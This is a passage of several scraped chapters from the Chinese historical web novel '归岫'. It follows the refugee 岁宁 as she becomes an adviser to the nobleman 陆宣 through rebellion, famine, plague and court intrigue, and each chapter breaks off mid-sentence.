岁宁听着这番冠冕堂皇却又大逆不道的话,不由得心中一颤。 林壄话音未歇,霎时,“嗖”的一声,一支羽箭穿过雨帘而来,直直钉入了神祠门前的柱子。 林壄转过身去,指着门外,瞠目怒道:“何方鼠辈,竟放冷箭!” 门外之人,骑着饰以银鞍与错金青铜当卢的高头大马,一身玄衣,玉冠束发,手持长弓,却不着片甲。 那人随手将长弓扔给下属,举着令牌喝道:“吴郡陆宣,奉朝中旨意,诛君侧之奸,平扬州之乱,尔等还不速速归降?” 林壄继续问道:“天子已不在宫城之中,你又奉了谁的旨意?” “哪那么废话,不降?杀了便是。”陆宣一抬手,身后兵卒尽数涌入项王亭。 只是林壄还赤着足,盔甲亦未来得及穿上,神祠之外已是刀剑相向,血污横飞,护在他身侧的兵士一个接一个地倒下。 陆宣下了马,如履平地行至祠堂之中,并未脱鞋,只扫了一眼威严肃穆的项王塑像,又转而看向林壄,此时他已被剥了甲,绑缚跪地。 陆宣摇了摇头,不免唏嘘道:“要我说,你拜个兵败的楚王,难怪会输呢。” “别不识好歹!”林壄转头啐了他一口,“如今苏元帅已入主宫城,陆使君若及时降顺,来日少不得升你的官爵。” “官爵?我陆氏百年望族,还须得由宵小来定夺?”陆宣抬脚踢了踢跪在地上的人,仿佛听到个天大的笑话。 身后的副使何钧抱拳问道:“使君,当如何处置此人?” 陆宣略略勾了勾唇角,漫不经心地道:“叛贼枭首,祭项王。” 林壄挣扎着站起来,怒骂道:“神祠之内,岂容血溅?陆宣,你胆敢不敬项王!” 陆宣只淡淡道:“哦?我素来不信鬼神。” 林壄又被人摁回地上,口中还在骂道:“不敬神佛,不尊天意,你早晚遭厄!” “聒噪。” 寒刃出鞘,一剑枭首,血溅当场。 陆宣一面低头慢条斯理地擦着剑身,一面悠哉开口道:“何钧啊,叫你枭首就别磨蹭,省得还得我亲自动手。” 何钧抱拳行礼道:“属下知晓了。” 血淋淋的头颅一路滚到了供桌下,岁宁怕惊着那孩子,便轻轻抬脚把它踢了回去。 只听得那人开口:“谁藏在那儿?” 何钧上前去,一把掀起盖在供桌上的黄布,看到桌下瑟瑟发抖的二人,回禀道:“一个女人,还有个孩子。” “出来吧。”陆宣忍不住笑了笑,若是林壄知道他在此拜了个女人,保不准会气活过来。 岁宁战战兢兢地朝外望了一眼,只瞥到那人玄色的衣角,沾满了血雨泥泞。目光上移,略略打量了他一眼,却见他镇静地站在血泊之中,也低着头看她,又吓得岁宁赶紧退了回去。 那是个青年男子,身上不着片甲,却又似个儒将,偏生得一副魅惑众生的长相,恐令天下女子见了,都为之汗颜。 岁宁怯声道:“出去?做军粮吗?” 陆宣听了她这话,又恣意笑出声来,“我的兵士,可犯不着食人。” 见她依旧无动于衷,陆宣也无暇同她玩笑,只吩咐兵士整理妥当,将项王亭里的尸身都搬到城外去。 岁宁这才带着身旁的小孩晃晃悠悠地从供桌底下爬出来,她悄悄摸过桌上供着的炊饼,塞到小女孩手中,柔声安慰道:“不妨事的,吃吧。” 陆宣又忍不住侧目瞧了她一眼,啧啧道:“敢偷贡品吃,胆子还挺大。” 那孩子听了他的话,便又要将炊饼放回去,岁宁拦住了她,正色道:“先人有云,民攘窃神祗之牺牷牲用以容,将食无灾。②” 陆宣亦点了点头,“在理。” 他又好心提醒道:“历阳的叛党已经肃清,每日午时城南会分发粥食,可领着你家小妹去分碗豆粥。” 岁宁朝他微微俯身,道了声谢。 待此地的尸身清理完毕,细雨也将地上的血迹冲洗干净,陆宣亦领着兵卒到别处去了。 岁宁依旧同那孩子留在祠中避雨,孩子虽捧着炊饼,却是惊魂未定,一口也没吃下去。她瘦骨嶙峋的身躯裹在粗麻布衣里,趿着双早就磨破了的草鞋,一双圆鼓鼓的眼睛直盯着岁宁打量。 岁宁轻声细语地问道:“方才忘了问你,叫什么名字?可是与家人走散了?” 阿铃吞吞吐吐地开口:“我......我叫阿铃。阿父与阿姊,不知道去哪儿了。” 想到城中被屠戮殆尽的流民,岁宁也难抱什么希望,只得安慰她道:“你阿父与阿姊说不定也同我们一样躲起来了,待雨停了,我陪你一同去找,好不好?” ‘嗯。”阿铃点了点头,小心翼翼地用布巾将炊饼裹起,同岁宁一起望着檐下的雨帘。 只是细雨总难停歇,直至岁宁倚在墙边昏昏沉沉地睡去,再醒来时,身旁已经无人了。 城南的粥棚前挤满了人,她拨开人群四处张望,却没寻到那个瘦瘦小小的身影。岁宁不忍作最坏的考量,只想着,那孩子许是寻到了自己的家人了。纵使自己也饥肠辘辘,她捧着一碗稀得只剩水的豆粥,却不舍得吃。万一那个孩子又回来了,没吃上饭可怎么是好...... 夜里,项王亭外飘来一阵似有若无的肉香,岁宁觉得自己是饿得头脑发昏了,都这般境地了,怎还会有肉食? 米肉? 忽有个念头在她 7. 花谢何处去?愿与君同往 《归岫》全本免费阅读 “人世十余载,尽是凄凉事。愿汝早得归,于此长安歇.....” 岁宁立于蒿里,轻声为她唱着挽歌。城郊野岭春风里,风也凄凄,声也凄凄。如今战事未歇,众多兵士、流民的尸身都草草掩埋在城郊,那孩子的尸骸亦是。 岁宁起身欲归之时,却见那两个人还等在原地。那一身青铜饰物的白马埋头吃着草料,陆宣则有一下没一下地抚着它的后背。何钧候在他身侧,早掩不住眼中的困倦之意,哈欠打了好几轮。 她走过去同二位一一行礼道:“有劳二位了。” “北人?”陆宣挑了挑眉,猝不及防来了句,“见你行礼,我觉着你似哪家跑出来的伧奴。” “......”岁宁抬起头,错愕地看向他,夜色空寂,竟连他的轮廓也看不真切。她忽然意识到,这位陆使君也并非是个仅会行善的贵人。 “说笑罢了,莫放在心上。”见她半晌不应,陆宣又轻笑一声,随即取了环在树上的马绳,抬手招呼她过来,“回去罢。” 何钧劝道:“使君先骑马回去罢,由在下护送这位女郎回城便可。” 陆宣摆了摆手,无所谓道:“无妨。” 何钧又问:“那几人怎么处置?” “先审,再把负责施粥的也叫过来,一并审。”陆宣揉了揉眉心,颇有些烦闷,“此次兄长拨了诸多钱粮,却还闹出人相食的事来,届时又免不了一顿问责。” 何钧迟疑道:“夜半三更,还要将方为叫过来吗?” 陆宣转头睨了他一眼,“闹出这档子事,你还想着让他有个好眠?” 回了历阳城,叛贼的头颅还悬挂在城墙之上,伴着晚风轻晃,在黑漆漆的夜幕中略显可怖。 岁宁遥遥望了一眼,又低着头快步向前走去。只叹此人杀伐,当真是手起刀落。 “你......”陆宣忽然回过头来,似是在考量该如何安置她,“欲往何处去?” 岁宁答:“何处可容人,便往何处去。” 陆宣笑了笑,随即吩咐何钧,“回府安顿好这位女郎,再去召何钧过来,我在前院候着。” “使君?”岁宁不解,既不盘查她的底细,也不过问她的意见吗? 陆宣没再搭理二人,抬脚跨过门槛,径自往前院去了。 原本被墨色笼罩的前院又点上了烛火,灯烛影里,一人姿态闲散地倚在主位上,翘着腿,若有所思地翻着账簿。 方为半晌不闻陆宣一言一语,便也不敢抬头,只颤抖抖地跪在阶下。冷风穿堂而过,只教他背脊发凉。 “方为。”那册账簿猝然砸到他的眼前,随即传来的还有上位者慵懒的嗓音,“近日粮价几何?城中流民几何?每人分得豆粥几许?” 方为连声应答:“二公子您也知晓,今年因着战乱,粮价水涨船高,莫说是粟了,纵是豆麦也涨到千钱一石,如今城中流民二千,我亦是按着每人四两豆的分量去购置的。” 陆宣也不说话,仍旧坐在原处打量着他。此时,有人自屏风之后缓步而出,朝陆宣俯身施了一礼。陆宣眸光轻瞥过某人,似被唤回了神思,眼中疲乏也少了些许。 他抬眼看向岁宁,问:“夜已深,出来作甚?” 岁宁向陆宣请示道:“我今日去了粥棚,使君可否听我一言?” 陆宣一点头,讥笑道:“那便说说,可同他说的一样?” 岁宁望着阶下人,缓缓开口道:“施给每人的豆粥,莫说是四两了,纵是半两也无。” 方为心中一骇,忙站起身来,一手指着岁宁道:“信口雌黄!我追随陆氏十年有余,二公子何必听这贱民胡诌!” “哪里是胡诌?”岁宁忙往后退了一步,深怕那人扑上前咬她,“我有物证,使君可遣人随我去取。” 约莫过了一盏茶功夫,侍从跟随她到项王亭去取了白日剩的那碗豆粥回来。除了碗底的十数颗豆子,便稀得只剩水了。 岁宁将碗呈给陆宣,叹道:“本是要留给我那小妹的......” “方为。”陆宣面色霎时沉了下来,冷哼道,“到底是家贼难防。兄长捐的财帛,竟全进了你的口袋。” “属下不敢,属下不敢呐......”方为跪在陆宣脚边连连叩首,哀声道,“定是这贱民构陷于我......谁知.....谁知是不是她偷偷掺了水!” 陆宣失望地看向他,重重叹了口气,“本想着叫你把贪的那份吐出来,此事便算了,可你倒是半点不思悔改。” 说完,也不再听他的狡辩,只唤人将他缚了带下去。 何钧靠在柱子上,几欲睡着了,直到几人押着方为从他身前经过,这才清醒过来。他忙提醒道:“使君,这事也了了,该歇息了,明日还要赶赴宣城。” 陆宣点了点头,又问岁宁:“你既呈了证,可想要什么奖赏?” 岁宁忙谢绝道:“小人呈证,亦是为己,不敢邀赏。” “你可还有别的家人?” “没有了。” 陆宣随口道,“不若日后跟着我?保你衣食无忧?” 岁宁一时无言,只暗忖道,这些世家子弟,怎的都是这般?上一个说要保她顺遂无虞的人,还差点被她砸死在某个雪夜里。 何钧催促道:“使君问你,为何不答话?” 岁宁没回答,反而问道:“使君这是要召我为婢?” 陆宣忍俊不禁,看着她蓦地大笑起来,连话语都起起伏伏,“我并无此意,只是此次随行的都是些蠢人,你还算聪明,可与我解个闷。” 那时,在成百上千的难民之中发现了她。只一眼,陆宣便看穿了她的忿恨、不甘,还有野心。此人,是可为他所用的刀刃。 何钧一时无地自容,蠢人说的是我? 未等她拒绝,陆宣又说:“之前不愿做军粮,如今是想留下来,变成那些流民的口粮?” 岁宁忍下心怯问道:“倘若我拒绝呢?” 那双凤眼满含风流的笑意,此刻正落在她的身上,陆宣耐心道:“不必着急回绝,明日卯时前,给我答复即可。” 她一阵思量,最终迎上他的目光,认真回道:“愿随使君同往。” 渐暗的烛光映着树影婆娑,春风似勾人般撩起庭中人的衣袂与鬓发。那人笑意未尽,叮嘱她好生歇息,便转身而去,一拂袖,步履生风,玄色的身影亦消失在幽深的连廊尽头。 春雷滚滚,墨云倾覆。 叛军已入主宫城,朝中的士族却多还在观望。彼时建康城外的流民之众已一路攻城略地,连 8. 春寒寂历,百里不闻鸡鸣 《归岫》全本免费阅读 “你......”座下最为年长的将领怒目圆睁,指着陆宣,半晌才挤出一句,“真真是个年轻气盛的莽夫!” “怎的?”陆宣挑了挑眉,笑道,“张叔父方才说我是个儒生,现下又嫌我莽了?” 没等张沧再开口,何钧忙站出来打圆场:“张将军息怒,诸位同为国朝鞠躬尽瘁,莫要与陆使君计较才是。” 今日本不是为逞口舌之快而来,陆宣便也拔了案上的刀,收入鞘中,邀诸位将军落座。 陆宣伸手点了点堪舆图上的宣城,说道:“宣城下治十一县,南倚高山,北接大江,是东西往来之要道,势必要先取。届时庐江、新安二郡,晚生也会一一攻下来。” 张沧冷哼一声,道:“说得轻巧,你倒是谈谈,怎么攻下来?” 陆宣故作谦虚道:“晚辈一介儒生,还是先听听诸位将军的高见。” 只是一番考量下来,他们一个说,雨天行军不易;一个又说,宣城背靠新安,有粮草补给,围城之计亦行不通。 “你,过来。”陆宣听得不耐烦了,随手指了个人,竟是一直躲在众人身后偷听的女子。 “我?”岁宁犹豫地走上前去,却被陆宣一把摁着坐在主位上,那人站在她身后,指着堪舆图道,“同他们说说,这仗该怎么打?” “我怎么会懂?”岁宁错愕地看向他,难以深究此人到底在想些什么。 在座几位面上挂不住,又拍案而起: “荒唐!怎能听信女子之言?” “狂悖至极!” 可陆宣便是此等荒唐狂悖之徒,他只宽慰她道:“有何见解,你且说来,又不会真用你的计策。” 岁宁一眼扫过宣城周遭地势,略思忖道:“雨天虽行军受阻,但敌军视野不及,倒适合奇袭......届时只需引他们出城,于彭岭设伏,一举围之。” 陆宣听她说得认真,本又要发笑,张沧却一拍手,道了句:“妙哉。” 岁宁连忙问道:“我不过随口一说,张将军当真要这么打?” 朝中有这般眼界的将士,国运还真是一眼就看到了头。 陆宣笑着摇了摇头,道:“自然不能这么打。我昨日打探过了,宣城啊,快成座空城了。” 众人惊骇:“这怎么可能?贼寇怎会弃城而去?” 他扫了一眼众人,只冷冷地吐出两个字来:“疫病。” 于副将嚷道:“既如此,只需等他们死尽,何必大废周折去攻城略地?” 陆宣面色瞬间沉了下来,忍不住骂道:“一群缩头的老王八,吃了败仗只知躲到历阳来,连敌情也不去探,倒说我纸上谈兵。” “你个出言不逊的小王八!”张沧被骂得跳脚,一巴掌甩到陆宣头上,“待回了建康城,我定要告到你老子那儿去。” 陆宣朝他揖了一揖,劝慰道:“张叔父勿恼,当务之急还是先控住了流民,莫让疫病在扬州蔓延开来。” 晋军的铁蹄踏破宣城城门的那一日,城中早已被叛贼洗劫一空,只余一片千疮百孔的废墟,以及一群染病等死的灾民。 分明春已先至,乍暖却又还寒。黑云压城,四下尽暗,风雨寒得彻骨。一场倒春寒却如刈麦般收走了许多条人命。 家家户户皆有僵尸之痛,号泣之哀。周遭咳声不断,却连个像样的医者也无,唯有人冒着雨陆陆续续将尸体抬出城外。 见此情景,陆宣的脸色不大好,只望着朦胧的雨雾,无可奈何道:“这雨下得......还真是一点活路也不给人留啊。” 尚不知朝中近况,但陆宣也知晓,短期内那边不会再派人过来了。 岁宁戴着顶雨笠,穿梭于城中的大小角落,往来于病患之间。纵是沾染了满身泥泞,也浑然不在意。 陆宣立在檐下避雨,远远地叫住了她,“我已派何钧去寻医师了,至于你,别再乱跑了。” 岁宁回首看他,观他一身忠骨,却生得一副谋臣的模样。最初守在宣城的将士早已丢盔弃甲了,唯有他揽下了这份旁人避之不及的差事,独自来淌这趟混水。 她并非是悲天悯人,也绝非忠诚良善之辈。随他至此,只因心中另有一番利益考量。 岁宁匆匆行至他跟前,同他说道:“高烧喘息,气短而亡,是伤寒,我幼时也害过。” 陆宣问她:“怎么治好的?” “命硬,熬过来了。” “......”陆宣沉默良久,最后只长叹了口气。 “罢了,不该让你跟来的,明日便让何钧送你回历阳去。” 岁宁摇了摇头,神色坚定地说道:“我欲留下,为使君分忧。” 陆宣垂眸看着她,狭长的凤眼中闪过一丝轻蔑的笑,“留下?届时连命都丢了,你又能讨什么赏?” “城中百姓缺衣少食,如今封了城,更是连药也难求。使君可命人去采些艾蒿来烧,那东西漫山遍野到处都是。纵治不了伤寒,也可暂时安抚人心。”她又补充道,“我从前便是闻着艾香才熬过来的。” 陆宣随手召了小卒过来,吩咐道:“照她说的去办。” “不过——你依旧得回历阳去。”他又开口道,“你这条命得留着,另作他用。” 他轻飘飘的一句话,却令岁宁如被这场春雨淋透一般,浑身都寒颤了。 雨笠上仍有未沥干的雨水,沿着竹编的纹路汇成水滴,啪嗒落下,在地砖上砸了个四分五裂。 那人没再理会她,径自撑着伞往城北去了。 岁宁也不知,自己究竟对这些权贵抱有何种期待,原来一路辗转,又落入一个樊笼。她总归是陷在这场风波里,怎么逃都逃不出来了。 雨势渐小了,彼时她已乘上了去往历阳的马车,一路颠簸,满城破败,沿途荒凉。 后来,听闻宣城十一县中,有六县的百姓染病死了大半。 再后来,又听闻那位陆使君平了扬州的叛乱,收了新安、庐江二郡,领着军队大张旗鼓地回历阳来了。 如今已是暮春,熏炎驱着暖意,醉人的花也落尽了。 历阳那座不大的府邸,在陆宣归来后持续了几 9. 此身微末躯,卖与谋臣家 《归岫》全本免费阅读 岁宁盯着他殷红的唇色,此时他不像个人,倒似个要将人抽筋剥皮的鬼。 她沉重地闭上了眼,视死如归道:“我不会选的。” 陆宣有些惊诧,话语间亦夹杂些许失望,“你这般惧死,却连一半的生机也不赌一赌?” 方才还以死恐吓她,如今又劝她向生,当真是好笑。 岁宁甩开了他的手,愤愤道:“那是两条人命,不是什么物什!既然是沈迁一人之过,要杀要剐由他受着便是,何必用一个女子的死来惩罚他?使君此举,有失公允。” 明目张胆地说出此番违逆之言来,饶是侍奉在一旁的两个姬妾都替她捏了一把汗,不由得默默退远了,生怕主人迁怒己身。 “你竟作此想啊......”陆宣偏着头,神色淡淡地道,“话既已说出口,你让我如何是好?” “使君说什么便是什么,我依旧不做抉择。”岁宁依旧垂着眸,俨然一副坦然无畏的模样。 “你去转告沈迁,若他选不出来,便让两位夫人同他一并上路。”陆宣托起岁宁的手,递给她一把冰冷的匕首,戏谑地笑道,“且看他如何抉择,在此之前,你不若也给自己想个死法?” 她照做,缓步走入庭中,将匕首交给了沈迁,却并未将陆宣的话如实转述,只沉声道:“沈府君可要想清楚了,你已是死罪难免,凭什么要让两个女子替你站在刑台之上,由旁人决定她们的生死?” 沈迁盯着手中的匕首,忍下胸中翻涌的血腥之气,掩面痛泣:“纵我不选,陆宣可会放过她们?” 岁宁抬头看了看深深庭院,婆娑的树影掩去了四方天,春光这般好,只可惜今日这庭阶要染了血。她又悄声道:“倘若你此刻自戕,我可保证,两位夫人尚有活路。” 岁宁如释重负地走回檐下,走向坐在主位上的那个人。胸膛的起伏却难掩此刻的心悸。陆宣依旧倚着凭几,心绪游离,视线却从未离开那道身影,他悠悠开口道:“你可想清楚了?” 她淡淡笑道:“想好了。” 只是即刻便有人高呼:“罪臣自戕了!”士卒一面喊着,一面着急忙慌地跑上前来,反倒在台阶处绊了一跤。 陆宣支着额头看向她,忽有些头疼,无奈道:“你还真是让我难办啊。” 岁宁拔下头上的一根金簪,双手捧至他面前,一双微红的眼求饶似的望向他,口中嗫嚅道:“便用使君送我的簪子吧。” 陆宣顿了顿,却没伸手去接,只说:“簪子太钝,不适合杀人。” 上一刻她还装得一副柔媚之姿,一眨眼便已将他拉了过来,用簪子抵住了他的喉咙,硬生生在那人的脖颈上划出一道血痕来。 陆宣又好气又好笑,用力攥着她的手腕,同她说道:“你倒是一点儿也不窝囊。” “使君!”何钧与门外一众士卒反应过来,纷纷拔剑相向。 “莫急,她同我闹着玩呢。”陆宣却不慌也不忙,反而附在她耳边轻声道,“听话,先松手,别让我在下属面前失了颜面。” 放在旁人眼里是撩拨人心,岁宁则满脸写着,你是不是脑子有疾? 只是胆识够了,气力却不足,手中簪子反被他夺了去。发上仅余的玉簪坠地,断成了两截,串珠的流苏散落了一地。 一双带着薄茧的手覆上了岁宁纤细的脖颈,陆宣细细打量着她,倒希望在她眼中捕捉到些许惶恐的神情来。只是很遗憾,一丝也没有。 他故作惋惜地叹道:“若真想杀我,为何不用我给的匕首?倒是可惜了这玉簪......” 岁宁亦不遑多让反驳道:“使君若真舍得我死,便不会让我亲自给沈迁递刀......” 她心思玲珑,总能将他的想法猜个大概,陆宣确实舍不得杀她。只可惜,她锋芒毕露的样子,倒让人生不出半分怜惜之情来。 最终,他收回了手,二人又相对而坐,短暂地相安无事。 岁宁接过他递回的簪子,随手绾起散落的乌发,说道:“我愿做使君的入幕之宾,但是有个条件。” 陆宣一面擦拭着脖子上的血迹,一面幽怨地看向她,道:“敢同我谈条件,你怕不是嫌命长?” 岁宁继续说道:“我只求使君放过沈迁的两位夫人,这一个条件也不行?” “可。”陆宣抬手召何钧进屋来,“派人将二位夫人遣归新安。” 何钧连连应道,又问:“沈迁已死,使君回去又该如何交代?” “他畏罪自裁,就算是尸身也要带回去。”陆宣思量道,“至于父兄那里,回了建康我自会同他们解释。” “建康?”岁宁神色一凛,她费了多少心思才从那个地方逃了出来。不论是老天还是眼前此人,竟像是在玩弄她。 陆宣笑道:“很意外?” 岁宁摇了摇头,悬着的心终归死了一次又一次。 建康城中的叛贼已被留守宫城的官员劝降,月末,陆宣领着军队浩浩汤汤地回了建康。护卫天子,劝降叛军,领兵平叛,桩桩件件都为陆氏积攒了不少名望,够他在建康城风光好一阵了。 正值四月杨柳花开,满城风飘絮。一如浮云无根蒂,暖风吹乱眼迷离。 那立于行伍之前的青年儒生,头冠小冠,衣裳博大,倒是一如既往的高调,举手投足间难掩年少的轻狂。他身侧的白驹如今也换上了流苏金缕鞍,连鬃毛都梳得一丝不苟。 陆宣招手唤身侧之人,“上马。” 岁宁方还在迟疑,却猝不及防被他抱上马去,随后陆宣也上了马,与她同乘一骑。 岁宁劝道:“使君须得顾及男女之防才是。” “那你自己走回去?”陆宣轻笑一声,倒是没给她拒绝的机会。 “怎的?”她有意拔高音调,呛他一句,“陆氏竟这般缺幕僚?为了笼络我,还难为您亲自献身?” 熟识了之后,她说话总是这般带刺,非要现出锋芒,扎他一下才肯善罢甘休。 陆宣笑道:“此前还说要替我分忧,今日替我挡挡桃花又如何?” 岁宁暗自腹诽,也不知是谁今日一早便在熏香 10. 际会风云,举头日月高悬 《归岫》全本免费阅读 咸和四年,岁在丁卯。天下粗定,战乱止歇。 及至论功行赏,陆氏以劝降之功,族中子弟皆加官晋爵,在民间颇有名望,又有三子可撑门面。长公子陆宜可谓是“利口可覆邦国”的玄学名士,二公子陆宣屡立战功声名在外,三公子陆宛毫无建树姑且不谈。在这“王与马共天下”的时局之下,陆氏已是显贵一时。 比起二位兄长在建康城的美名,陆宛却是将不务正业践行到了极致,他不仅是京中人茶余饭后的谈资,更是揽月坊的常客。 这不,揽月坊才刚挂出招牌迎客,便又有陆府的婢子上这风月之地寻人来了。 “求你行个方便,三公子一夜未归,若是今日我再寻不到他,回府定要挨家君责罚了。”那婢子又是哀求,又是塞银子,才央着坊里的杂役带她寻到了陆宛所在的雅间。 乐坊中鱼龙混杂,琴瑟争鸣,推杯换盏,遗珥坠簪,对坐清谈之声不绝于耳。 行至二楼雅间,忽听到一阵泠泠琴音,岁宁在门前伫足了片刻,总觉得这琴声似曾相识,却不知它自何处而来。 她叹了口气,刚推门进去,就看到陆宛一脚踩在案上,手里骰子摇得起劲,嚷着要再来一局。 同他一道玩六博的,除了几个游手好闲的世家子弟,还有一位来自蜀地的庄姓行商,他便是岁宁此行专程来见的人了。 岁宁轻咳了一声,皮笑肉不笑地看向陆宛,“三公子好兴致啊。” 一时间谈笑声止,陆宛回首见了来人,脸色瞬间耷拉下来,再没了半分兴致。岁宁略过他,看向其余几人,“我与这位庄公子有要事相商,可否请几位公子暂避?” 待闲人都退去,岁宁朝坐在陆宛对面的人施了一礼,施施然开口道:“庄公子选在此地面谈,当真是难为我。” 陆氏顾及名声,族中除了那不成器的家伙,断不会有人青天白日到这坊曲之地来。 “若连这门都进不了,你还同我谈什么交易?”庄岩见她是个女子,态度也不免轻慢了起来,他扬了扬手示意岁宁落座,又问,“不知女郎如何称呼?” 岁宁摘了幂篱,与他隔案而坐,淡淡回道:“敝姓陈,是陆府的门客。” “陈娘子,幸会。” 岁宁瞥了陆宛一眼,他此刻神色恹恹,缩在一旁跟个鹌鹑似的。于是她询问道:“既要谈正事,可需让三公子回避?” 庄岩道:“无妨,既然都是陆家人,有何可避?” 岁宁便直接话入正题,道:“听闻巴东郡又新开了两口盐井,庄公子可有兴趣与陆氏合作?” 对面不忍嗤笑道:“你们想争临邛的盐业管权,京城的士族,占了吴郡还不够?连巴蜀的利也要去插手,届时派谁去监管?” “他?”庄岩抬手指向陆宛,“草包”二字险些脱口而出。 岁宁正色道:“自然是陆二公子,陆延生。” “既如此,陆二公子何不亲自与我谈?” 岁宁解释说:“公子因公务留守娄县,这几日赶不回来,故而派我来同您商谈。如今江州到扬州的商道由陆氏管着,庄公子若是愿与我们合作,免去沿途其他士族的分利,可多获利一成。” “条件不错。”庄岩捋了捋稀疏的胡须,思虑道,“不过......早有别家给出了更高的价码。” 有没有世家给出更多的让利,岁宁不知晓,可此人已摆明了要待价而沽。 岁宁知道他定不会满足于此,可陆宣不会给出更多的让利了,只能劝道:“材竹谷粟,鱼盐漆丝,江扬二州哪一桩交易不经由陆氏之手?庄公子若选了陆氏,交易又岂会止于盐业?” “说得在理。”庄岩不置可否,只说,“只是......且容我再考虑考虑。” “坊曲之地,不便久留,我先携三公子回府了。还望庄公子早日给个答复。”岁宁起身拂了拂衣摆,临走前又问他,“我还想再问一句,三公子在你这儿输了多少钱?” 庄岩起身送行,淡笑道:“拢共不过千两,于陆府家业而言,不过九牛一毛。” 她亦不愿再与之周旋,能正儿八经地合作最好,若是谈不拢,陆氏也有的是法子将那监盐之权收为己有。 岁宁道了声告辞,拎起躲在屏风后的陆宛,便快步出了揽月坊。陆宛扯着她的袖角连声求饶:“好姊姊,求你放过我吧,千万不要告到我兄长那儿去。” 岁宁耸了耸肩,幽幽开口道:“求我可没用,你自去求陆延生去罢。” 揽月坊一间名为“清夏”的雅间内,有位眉疏目朗的青衣公子正低眉抚着琴。纤长的指节游于弦上,信手而奏,言为心声,余音幽旷,如清溪流远。 屋内除了个侍从,便无旁人了,他并非这坊曲中的琴师,而是宋氏的公子。 侍从凑近他耳边小声回禀:“公子,他们谈完了。” 他依旧沉静坐着,神色嵬然不动,只淡淡道:“去将庄岩请过来吧。” 未几,侍从携庄岩进门来。庄岩打量着眼前这副陌生的面孔,局促不安地询问道:“敢问公子尊姓?何故遣小人前来?” 那人双手抚于弦上,待弦音止息,才抬眼看向庄岩,没有理会他的问题,开口便是:“方才陆氏给你开了什么条件?” 听到此人也是为临邛白盐一事而来,庄岩反倒松了口气,他回道:“陆氏只派了个女人来谈,这不是牝鸡司晨嘛......纵是他们给了比别人多一成的让利,小人也没答应......” 宋聿打断了他的话,直截了当地说道:“巴东的白盐运输,走荆南的商道,宋氏愿让利三成。” 初秋,陆府庭院中的玉兰开了第二季。知了倦了,清风抹去蝉鸣。 镂花窗前的竹帘卷起,午后柔和的阳光透进室内,岁宁懒洋洋地倚在窗边,一手支着下巴,一手执笔,却未蘸墨,还未想好要书写什么。她眉目间挂着淡淡的愁容,抬眼向庭中眺去,恰见那身着玄色大氅的青年男子立在院门口,与她遥遥对望,又缓步走近。 许是归程匆忙,他今日未顾得 11. 鸿门宴上,一举名动京师 《归岫》全本免费阅读 开秋兆凉,风萧蝉鸣息。 那让宋氏的茶业打了水漂的罪魁祸首,现下暂时还留在武陵郡。 轻轻袅袅的香烟环绕着青釉的博山炉,如山间溪涧,流注而下,萦纡在幽静的内廊。珠玑帘下的两人对坐,怡然煮茶。 陆宣揽起宽大的袖袍,给对座的人续了一杯茶,悠然道:“还是用武陵的泉水煮夷陵的茶更宜,到了建康城,便没有这般滋味了。” 岁宁却默不作声,只看着杯中的茶水续了又凉,凉了又续。她没料到,宋氏的长公子会亲自到荆州来的。 “他一时半会回不了建康,届时运盐一事自有我兄长去同盐商谈。”陆宣又道,“我以为此行过后,你会开心些的。” “可我们,似乎也走不脱了。”岁宁随手翻了翻手中的请柬,又递给陆宣,“陶将军遣人送了请柬来,这些个流民帅,真是一刻也不愿消停。” 陆宣潦草扫了一眼请柬,喃喃道:“陶庚设宴新府......大概本地的士族也都受邀在内。” 岁宁问:“陶庚早有反心,说不定早就同荆州刺史内外勾结,我们还要去赴宴吗?” “自然要去的,他既知晓我们在武陵境内,当然不会轻易放我们离开。”陆宣勾着唇角,指尖轻轻敲着请柬上的墨字,云淡风轻地说道,“更何况——既有美馔佳肴,又有大功一件,为何不去?” 岁宁眉间微蹙,问道:“二公子此行带了府兵?” “可惜了,除了随行的几个护卫,便只有你了。”陆宣淡淡笑着,“不过护卫大抵是进不去的。” “可他手里有兵啊......二公子的意思是......要么投诚?要么赴死?”岁宁顿时心如死灰,他怕是死到临头了也依旧是这幅从容的模样,就不该对他抱什么期待。 陆宣支着下巴打量她,饶有兴致地问道:“若是你,会如何做?” 明知那是一场逃不掉的鸿门宴,陆宣却依旧只带了岁宁一人同往。 新修的陶府尽现显赫与巍峨,主院中古木参天,檐下雕廊画栋,足下每一块青砖都拓着繁复的花纹,比之簪缨世冑犹嫌不足,明眼人都看得出来这座华府的逾制。 陆宣向府门前的管事递了请柬,自报家门:“吴郡陆宣,幸宴陶将军新府。” 管事也连连作揖,道一句:“陆二公子,有失远迎。” 岁宁上前献上一盒采自珠崖的南珠,代陆宣说道:“我家公子此行匆忙,略备薄礼,还请笑纳。” 管事纳了礼,忙陪笑着请他二人进去。走在陆宣前头的,是一位故人的身影,独立于古柏之下,风盈满袖,他竟是只身一人来赴宴的。岁宁低下头,不由得将面纱系得更紧了些。 其实也不算巧,毕竟宋公子是因她的搅合才滞留荆州的。从前在建康城,他们也曾多次出入于同一场合,只是无一例外,他都没认出陆宣身侧蒙着面纱的女子。 夜幕降临,众宾纷纷入席。除了宋聿,宴上的其余人都是岁宁没见过的本地士族。 丝竹管弦之声中,陶庚走上主位,筵席未开,分明他都还没动手,岁宁却隐隐察觉到一丝杀意。 抬眼望去,原是对面席上的宋公子正盯着他的仇敌呢。 宋聿毫不避讳地看向陆宣,不禁攥紧了袍角,气得胸口发闷。若非陆氏的人在水路上做了手脚,他此刻早回到建康了,又何必卷入这场祸端? 岁宁附在陆宣耳畔,悄声问道:“你当真没留有后手?” “若何钧赶不过来,不是还有你吗?”陆宣轻轻晃着碗里的酒,似是对这劣酒不太满意。 “他不会下毒吧?”她拦下陆宣拿着酒碗的手,用银针悄然验过了酒水和菜肴。 陆宣镇定自若地饮着酒,笑道:“陶庚所图谋的是各世家的支持,又不是图我的性命。” 岁宁怨道:“既要我兵行险招,二公子可别卖了我。” 陆宣方要劝她放宽心,话未出口,便被主位上中年男子的声音打断了。 “近日新府落成,幸诸君愿赏老夫几分薄面,亲临寒舍。还望诸位尽兴饮乐,莫要嫌弃酒肉粗陋才是。” 众宾一齐看向主位,陶庚高举酒碗,走下阶来,停在了陆宣的食案前,毕恭毕敬道:“赶巧,京城陆氏二公子,宋氏长公子二位也来了荆州,不然鄙人哪有机会请得到二位贵客呢。” 宋聿闻言,眼皮都懒得抬一下。 陆宣好歹装了装样子,起身回敬道,“晚生因公务来此,恰赶上贵府设宴,还要多谢陶将军款待。” 陶庚注意到他身旁随行的女子,蒙着面纱,容貌看不真切,便问:“身边这位,是陆二公子的夫人?” 陆宣答道:“非也。只是随行的侍女罢了。” 